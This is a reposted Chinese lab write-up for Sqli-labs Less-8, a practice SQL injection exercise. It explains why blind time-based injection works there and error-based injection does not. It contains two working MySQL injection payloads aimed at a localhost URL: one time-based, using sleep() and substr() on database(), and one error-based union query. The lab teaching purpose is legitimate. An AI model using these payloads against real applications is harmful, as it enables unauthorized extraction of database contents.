概述
Less-8
经过简单的测试，我们发现 'or 1=1--+返回正常，那么我们就基本知道应该怎么使用了，参考less5.这里简单的进行一个示例：
http://127.0.0.1/sqllib/Less-8/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
这里用的延时注入，当然了我们使用布尔类型的注入也是可以的，那么和第五关有什么区别呢？
第八关我们直接从源代码中可以看到
这里将mysql报错的语句进行了注释，那么这一关报错注入就不行了。
http://127.0.0.1/sqllib/Less-8/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
如果报错注入可以使用的话是可以直接返回user()的，但是这里没有返回。
其他的payload参考less5直接进行注入，这里就不一一的演示了。
转载于:https://www.cnblogs.com/lcamry/p/5763095.html
最后
以上就是小巧鞋垫为你收集整理的Sqli-labs less 8的全部内容，希望文章能够帮你解决Sqli-labs less 8所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。
发表评论 取消回复